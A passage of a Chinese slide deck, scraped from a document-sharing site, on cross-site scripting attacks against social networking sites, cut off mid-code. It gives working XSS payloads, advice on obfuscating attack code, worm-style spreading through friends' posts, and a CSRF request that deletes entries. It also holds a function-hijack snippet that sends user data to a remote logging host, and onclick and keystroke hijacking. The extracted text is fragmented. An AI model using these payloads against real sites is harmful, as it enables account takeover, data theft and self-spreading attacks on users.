- 1、本文档共66页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
确认输出 一些经常造成问题的编码如下: “ quot; ‘ apos; amp; lt; gt; 消除危险的插入点 img src=“usercontrol” input name=“usercontrol” type=“” div id=“usercontrol” value=“usercontrol” Usercontrol=用户可以控制的数据 QA ? Click to edit company slogan . * 防:noscript, ie8 xss filter, ff csp, anti-xss lib, owasp的xss防御方案, google的浏览器安全手册… 攻:bypass,bypass… * 05年的samy xss worm感染上百万myspace用户 蠕虫式的DDOS、挂马攻击、刷广告、刷流量、破坏网上数据 与pc机上的病毒有很多相似性 * * XSS Exploit保护 1 XSS点可以出现在很多位置 html/xml元素、元素属性、CSS内 flash, applet, wmf, pdf, word online等 导致XSS的原因很多 代码逻辑问题导致的XSS html内嵌的媒体元素导致的XSS 浏览器特性、解析差异、bugs导致的XSS 前后台、浏览器编码处理不一致导致的XSS …… XSS Exploit保护 2 例一 a href=#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#41Test/a a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4=Test/a XSS Exploit保护 3 例二 img src= onerror=alert(/xeye/)/ +ACI- onmouseover=+ACI-alert(/xeye/)+ADsAIg- x=+ACI- %A2%BE%BCscript%BEalert(/xeye/);%BC/script%BE XSS ShellCode保护 1 保护代码不被轻易获取 如前面介绍的本地存储方案 服务端验证保护 referer判断, RSA验证等 服务端跳转、伪装等 保护代码不被轻易理解 各种对称加密算法 各种编码转换 我们最为推荐的是各种变态的加花混淆方法 XSS ShellCode保护 2 加密加花 变量名由下划线_构成 js内置函数可以通过对象遍历方式找到 自启动方式 1 我们把SNS平台当做一个WEB OS 当用户登录自己的账号时,实际上等于运行了当前授权状态下的WEB OS UI部分是DHTML, Flash等 客户端逻辑控制是JavaScript 身份验证方式是一段保存在本地的cookie 这个WEB OS同样有自己的权限划分、授权方式 并严格遵循浏览器宿主的安全策略 自启动方式 2 XSS Exploit要加载执行就需要用户行为触发 以人人网为例: 用户登录后跳转到页面 这个页面可以查看到好友的各种动态 好友分享的描述中存在XSS,随着用户登录而触发exploit ,并加载存储在各处的shellcode执行 好友分享是可以控制的 不过情况不总是如此的美好 修改用户状态 使用WEB环境的原生态接口:) 删除数据 很多SNS平台不在意CSRF攻击 随便get请求http://www.victimSNS.com/DelEntry.do?id=334956即可删除一篇日志 比如new Image().src= http://www.victimSNS.com/DelEntry.do?id=334956 劫持函数与监听事件 1 劫持其它函数 在函数执行之前,定义之后进行劫持 比如showStatus函数可以显示用户当前状态 劫持: var _s= showStatus;function showStatus=(o){new Image.src=http://remote_domain/l.php?log=+str(o);_s(o);} 重写函数 要混淆其它函数的执行逻辑时,可以考虑直接重写函数 劫持函数与监听事件 2 劫持链接onclick事件 监听键盘onkeydown事件 for(i=0;idocument.links.length;i++){ document.links[i].onclick = hijack; } document.onkeydown=function(e){ if(!e)e=window.event; try{hijack();}c
文档评论(0)